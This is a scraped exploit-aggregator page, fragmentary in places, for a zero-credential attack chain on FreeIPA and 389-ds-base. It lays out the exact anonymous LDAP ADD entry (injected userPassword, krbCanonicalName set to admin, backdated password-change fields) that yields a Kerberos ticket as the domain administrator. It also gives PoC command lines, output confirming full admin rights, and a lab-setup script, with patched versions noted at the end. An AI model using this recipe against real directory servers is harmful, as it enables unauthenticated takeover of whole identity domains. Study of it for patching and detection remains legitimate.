Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • September 9, 2026

so anonymous ADD can include any attribute: `krbPrincipalAux`, `krbCanonicalName`,

**CVE-2026-76560 (389-ds-base)** — the SELFDN evaluator treats `""` (empty

string) as matching the anonymous bind DN, bypassing the `ipatokenOwner#SELFDN`

The critical insight — no pre-captured blob, no master key access needed:

Adding `objectClass: inetOrgPerson` + `userPassword` to the entry triggers the

**389-DS `ipapwd` plugin** which automatically generates `krbPrincipalKey`

server-side, encrypting it with the target realm's `krbMKey`. The attacker

supplies a plaintext password; the server derives the Kerberos key internally.

Setting `krbLastPwdChange: 20200101000000Z` (past date) in the same ADD bypasses

the `krbMinPwdLife` policy that would otherwise require an interactive password

| **CVE-2026-76578** | FreeIPA | OTP ACI lacks `targetattr` — any attribute passes anonymous ADD |

| **CVE-2026-76560** | 389-ds-base | SELFDN evaluator accepts `""` as anonymous bind DN |

Anonymous LDAP ADD (port 389, zero credentials)

ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN

objectClass: inetOrgPerson ← enables userPassword attribute

userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction

krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp

krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy

389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)

kinit attacker@REALM → TGT: Default principal: admin@REALM

GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…

uid=admin ∈ cn=admins → full domain administrator

| FreeIPA | 4.9.x – 4.13.3 | **4.13.4** |

| 389-ds-base (RHEL 10) | ipa-master.test.local

**`/etc/krb5.conf`** — `canonicalize = true` required for Level 3:

python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL

── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───

[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local

[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────

[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...

── TEST 3: krbCanonicalName=admin collision ──────────────────────────

[+] ADD with [email protected] succeeded

[+] TGT obtained — ticket claims principal: [email protected]

[+] TGT cname is admin — LEVEL 3 CONFIRMED

[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local

[+] uid=admin is member of cn=admins — real admin rights confirmed

════════════════════════════════════════════════════════════

════════════════════════════════════════════════════════════

Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED

Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED

Level 3 — Real admin group membership [✓] CONFIRMED

Full zero-credential compromise chain reproduced.

════════════════════════════════════════════════════════════

### Why userPassword instead of krbPrincipalKey directly

`krbPrincipalKey` is encrypted with the target's `krbMKey` (master key).

The master key is stored in LDAP at `cn=REALM,cn=kerberos` and is readable only

by Directory Manager — not anonymously, not by `uid=admin` via GSSAPI.

Injecting `krbPrincipalKey` directly is impossible without the master key.

Injecting `userPassword` delegates key generation to the server's `ipapwd`

plugin, which has internal access to `krbMKey` and performs the encryption

transparently. The ACI (CVE-2026-76578) allows `userPassword` through with no

The kerberos uniqueness plugin enforces uniqueness on `krbPrincipalName` and

`krbPrincipalAlias` across the full suffix, but **not** on `krbCanonicalName`.

A new entry in `cn=otp` with `krbCanonicalName: admin@REALM` does not conflict

With `canonicalize = true` on the client, `kinit attacker@REALM` retrieves the

entry by `krbPrincipalName`, but the KDC issues the TGT with

`cname = krbCanonicalName = admin@REALM`. GSSAPI resolves this to the real

`uid=admin` DN — already a legitimate member of `cn=admins`. No group

When `userPassword` is added, `ipapwd` sets `krbPasswordExpiration` to now

(expired) and `krbLastPwdChange` to now. With default `krbMinPwdLife = 3600s`,

`kinit` would prompt for a password change before issuing a TGT.

Setting `krbLastPwdChange: 20200101000000Z` in the original ADD overrides the

plugin value to six years in the past, satisfying the minimum lifetime check.

`krbPasswordExpiration: 20990101000000Z` prevents the expiry prompt. Both

attributes are accepted because the OTP ACI has no `targetattr` restriction.

To deploy a vulnerable FreeIPA instance on a fresh VM:

# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)

bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]

bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123

dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)

FreeIPA 4.13.4 adds an explicit `targetattr` allowlist to the OTP ACI, blocking

anonymous injection of `userPassword`, `krbPrincipalAux`, `krbPrincipalKey`, and

389-ds-base 3.2.0-10.el10_2 corrects the SELFDN evaluator to reject `""` as a

Both fixes are required independently — either alone reduces but does not

Extracted Entities

IP Addresses (2)